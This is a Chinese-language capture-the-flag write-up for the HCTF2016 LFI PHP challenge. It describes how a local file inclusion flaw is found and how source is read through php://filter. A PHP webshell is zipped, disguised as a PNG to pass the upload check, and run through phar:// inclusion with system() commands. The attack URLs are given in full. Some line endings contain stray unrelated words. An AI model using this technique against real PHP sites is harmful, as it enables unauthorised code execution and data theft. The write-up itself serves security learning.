項目地址:https://github.com/Heart-Sky/HCTF2016-LFIphp
題目上傳圖片,先簡單抓包html
發現包中URL進行了兩次變化:前端
結合上面的抓包,內容聯想是不是文件包含題目git
首先猜想github
?fp=show.php
返回結果同樣,包含失敗web
嘗試修改成shell
?fp=./show
返回數據包中出現重定向,說明存在文件spa
這樣一來能夠肯定的是題目考點是文件包含3d
逐個嘗試code
最後base64解密獲得./show的源碼:
<?php $imagekey = $_GET['imagekey']; if(empty($imagekey)) { echo "<script>location.href='home.php'</script>"; exit; } ?> <div class="alert alert-success" role="alert"> 上傳成功,<a href="uploads/<?php echo $imagekey; ?>.png" class="alert-link">點此查看</a> </div>
同理發現./upload訪問後也重定向
包含得源碼
<?php include 'function.php'; if(isset($_POST['submit']) && !empty($_FILES['image']['tmp_name'])) { $name = $_FILES['image']['tmp_name']; $type = $_FILES['image']['type']; $size = $_FILES['image']['size']; if(!is_uploaded_file($name)) { ?> <div class="alert alert-danger" role="alert">圖片上傳失敗,請從新上傳</div> <?php exit; } if($type !== 'image/png') { ?> <div class="alert alert-danger" role="alert">只能上傳PNG圖片</div> <?php exit; } if($size > 10240) { ?> <div class="alert alert-danger" role="alert">圖片大小超過10KB</div> <?php exit; } $imagekey = create_imagekey(); move_uploaded_file($name,"uploads/$imagekey.png"); echo "<script>location.href='?fp=show&imagekey=$imagekey'</script>"; } ?>
分析源碼能夠看見,題目要求只能上傳png後綴圖片,且大小不超過10KB。對比一下本身寫的圖片馬,確定都是大於10KB沒法上傳的。
PHP中的ZIP僞協議能夠讀取調用壓縮包中的文件,zip://
事先準備好php的webshell,壓縮成zip,上傳繞過前端的驗證
錯誤的繞過:
修改了文件類型,解析的時候會出問題
正確的繞過:壓縮後修改後綴名,參考:如何假裝壓縮文件爲圖片
訪問的圖片URL:
詳細包含示例:
#號後面是壓縮包裏的文件1.php,讀取的時候只有文件名1,不須要後綴(上面爲了便於理解加了.php)
嘗試包含可是zip沒法使用,就替換成相似的phar://
http://www.youkilearning.top:8000/12/home.php?fp=phar://uploads/03e4fd0754f76d21773acf0a0d7f073645ae7552.png/a&cmd=phpinfo();
http://www.youkilearning.top:8000/12/home.php?fp=phar://uploads/03e4fd0754f76d21773acf0a0d7f073645ae7552.png/a&cmd=system(ls);
看到目錄下的flag文件,直接源碼包含
http://www.youkilearning.top:8000/12/home.php?fp=php://filter/convert.base64-encode/resource=./Th1s_1s_F1a9
獲得
Q29uZ3JhdHVsYXRpb25zLGZsYWcgaXMgaGVyZSxhbmQgdGhlbj8KPD9waHAKLy9oY3Rme1RoMXNfMXNfZTRzWV8xc19uMFRfMXQ/fQo/Pgo= Congratulations,flag is here,and then? <?php //hctf{Th1s_1s_e4sY_1s_n0T_1t?} ?>